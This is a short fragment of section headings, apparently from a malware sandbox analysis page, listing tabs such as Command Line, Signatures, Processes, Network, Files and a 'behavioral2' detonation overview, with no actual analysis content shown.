Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files